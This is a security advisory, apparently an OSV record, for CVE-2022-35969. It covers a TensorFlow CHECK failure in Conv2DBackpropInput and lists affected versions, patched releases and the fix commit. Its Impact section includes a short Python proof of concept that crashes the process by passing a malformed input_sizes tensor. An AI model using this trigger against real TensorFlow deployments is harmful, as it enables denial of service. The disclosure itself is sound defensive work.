---
id: CVE-2022-35969
aliases:
  - GHSA-q2c3-jpmc-gfjx
  - BIT-tensorflow-2022-35969
  - PYSEC-2026-1028
title: TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`
summary: TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`
severity: medium
cvss: 5.9
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.7.2
  - 'tensorflow >= 2.8.0, < 2.8.1'
  - 'tensorflow >= 2.9.0, < 2.9.1'
  - tensorflow-cpu < 2.7.2
  - 'tensorflow-cpu >= 2.8.0, < 2.8.1'
  - 'tensorflow-cpu >= 2.9.0, < 2.9.1'
  - tensorflow-gpu < 2.7.2
  - 'tensorflow-gpu >= 2.8.0, < 2.8.1'
  - 'tensorflow-gpu >= 2.9.0, < 2.9.1'
patched:
  - tensorflow 2.7.2
  - tensorflow 2.8.1
  - tensorflow 2.9.1
  - tensorflow-cpu 2.7.2
  - tensorflow-cpu 2.8.1
  - tensorflow-cpu 2.9.1
  - tensorflow-gpu 2.7.2
  - tensorflow-gpu 2.8.1
  - tensorflow-gpu 2.9.1
published: '2022-09-16'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-q2c3-jpmc-gfjx'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q2c3-jpmc-gfjx
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2022-35969'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c
  - url: 'https://github.com/tensorflow/tensorflow'
  - url: 'https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0'
tags:
  - osv
  - pip
epss: 0.00462
epssPercentile: 0.39274
ingestedAt: '2026-07-08T18:25:52.061Z'
---

## Overview

### Impact
The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack:
```python
import tensorflow as tf

strides = [1, 1, 1, 1]
padding = "SAME"
use_cudnn_on_gpu = True
explicit_paddings = []
data_format = "NHWC"
dilations = [1, 1, 1, 1]
input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32)
filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32)
out_backprop = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations)
```

### Patches
We have patched the issue in GitHub commit [50156d547b9a1da0144d7babe665cf690305b33c](https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.


## Affected packages

- `tensorflow < 2.7.2`
- `tensorflow >= 2.8.0, < 2.8.1`
- `tensorflow >= 2.9.0, < 2.9.1`
- `tensorflow-cpu < 2.7.2`
- `tensorflow-cpu >= 2.8.0, < 2.8.1`
- `tensorflow-cpu >= 2.9.0, < 2.9.1`
- `tensorflow-gpu < 2.7.2`
- `tensorflow-gpu >= 2.8.0, < 2.8.1`
- `tensorflow-gpu >= 2.9.0, < 2.9.1`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.7.2`
- `tensorflow 2.8.1`
- `tensorflow 2.9.1`
- `tensorflow-cpu 2.7.2`
- `tensorflow-cpu 2.8.1`
- `tensorflow-cpu 2.9.1`
- `tensorflow-gpu 2.7.2`
- `tensorflow-gpu 2.8.1`
- `tensorflow-gpu 2.9.1`